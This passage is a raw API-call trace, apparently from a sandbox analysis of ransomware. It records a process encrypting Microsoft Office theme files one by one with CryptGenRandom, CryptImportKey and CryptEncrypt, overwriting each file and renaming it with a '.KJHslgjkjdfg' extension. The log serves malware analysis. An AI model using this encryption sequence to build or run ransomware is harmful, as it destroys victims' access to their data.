lpOverlapped=0x0) returned 1 [0197.077] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.077] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.077] GetProcessHeap () returned 0x2a0000 [0197.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.077] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0197.077] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.077] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0197.077] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0197.077] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0197.077] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0197.078] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0197.078] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.078] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.078] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.078] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.078] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x96ac7, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x96ac7, lpOverlapped=0x0) returned 1 [0197.088] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x96ad0, dwBufLen=0x96ad0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x96ad0) returned 1 [0197.093] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.093] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x96ad0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x96ad0, lpOverlapped=0x0) returned 1 [0197.095] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.095] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x96ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.095] SetEndOfFile (hFile=0x124) returned 1 [0197.098] GetProcessHeap () returned 0x2a0000 [0197.098] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.098] GetProcessHeap () returned 0x2a0000 [0197.098] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.098] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx.kjhslgjkjdfg")) returned 1 [0197.099] CloseHandle (hObject=0x124) returned 1 [0197.099] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Opulent.thmx", cAlternateFileName="OPULEN~1.THM")) returned 1 [0197.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0197.101] GetProcessHeap () returned 0x2a0000 [0197.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.102] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.102] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0197.102] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x7, lpOverlapped=0x0) returned 1 [0197.104] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.104] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.104] GetProcessHeap () returned 0x2a0000 [0197.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.104] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0197.104] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.104] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0197.104] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0197.104] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0197.104] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0197.104] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0197.105] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.105] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.105] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.105] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.105] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x132b9, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x132b9, lpOverlapped=0x0) returned 1 [0197.106] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x132c0, dwBufLen=0x132c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x132c0) returned 1 [0197.107] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.107] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x132c0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x132c0, lpOverlapped=0x0) returned 1 [0197.108] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.108] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x13394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.108] SetEndOfFile (hFile=0x124) returned 1 [0197.110] GetProcessHeap () returned 0x2a0000 [0197.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.110] GetProcessHeap () returned 0x2a0000 [0197.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx.kjhslgjkjdfg")) returned 1 [0197.112] CloseHandle (hObject=0x124) returned 1 [0197.112] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Oriel.thmx", cAlternateFileName="ORIEL~1.THM")) returned 1 [0197.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0197.114] GetProcessHeap () returned 0x2a0000 [0197.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.114] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.114] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0197.115] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xc, lpOverlapped=0x0) returned 1 [0197.117] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.117] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.117] GetProcessHeap () returned 0x2a0000 [0197.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0197.117] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0197.117] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.117] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0197.118] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0197.118] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0197.118] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0197.118] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0197.118] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.118] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.118] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.118] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.118] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16ef4, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x16ef4, lpOverlapped=0x0) returned 1 [0197.120] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x16f00, dwBufLen=0x16f00 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x16f00) returned 1 [0197.121] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.121] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16f00, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x16f00, lpOverlapped=0x0) returned 1 [0197.122] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.122] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x16fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.122] SetEndOfFile (hFile=0x124) returned 1 [0197.124] GetProcessHeap () returned 0x2a0000 [0197.125] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0197.125] GetProcessHeap () returned 0x2a0000 [0197.125] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx.kjhslgjkjdfg")) returned 1 [0197.126] CloseHandle (hObject=0x124) returned 1 [0197.126] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Origin.thmx", cAlternateFileName="ORIGIN~1.THM")) returned 1 [0197.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0197.128] GetProcessHeap () returned 0x2a0000 [0197.128] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.128] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.129] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0197.129] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x5, lpOverlapped=0x0) returned 1 [0197.137] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.137] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.137] GetProcessHeap () returned 0x2a0000 [0197.137] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.137] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0197.137] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.137] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0197.137] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0197.137] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0197.137] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0197.138] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0197.138] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.138] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.138] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.138] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.138] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1540b, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x1540b, lpOverlapped=0x0) returned 1 [0197.140] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x15410, dwBufLen=0x15410 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x15410) returned 1 [0197.141] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.141] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15410, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x15410, lpOverlapped=0x0) returned 1 [0197.141] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.141] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x154e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.141] SetEndOfFile (hFile=0x124) returned 1 [0197.144] GetProcessHeap () returned 0x2a0000 [0197.144] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.144] GetProcessHeap () returned 0x2a0000 [0197.144] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx.kjhslgjkjdfg")) returned 1 [0197.146] CloseHandle (hObject=0x124) returned 1 [0197.146] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Paper.thmx", cAlternateFileName="PAPER~1.THM")) returned 1 [0197.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0197.148] GetProcessHeap () returned 0x2a0000 [0197.148] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.148] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.148] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0197.149] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xa, lpOverlapped=0x0) returned 1 [0197.150] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.150] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.150] GetProcessHeap () returned 0x2a0000 [0197.150] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0197.151] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0197.151] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.151] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0197.151] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0197.151] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, 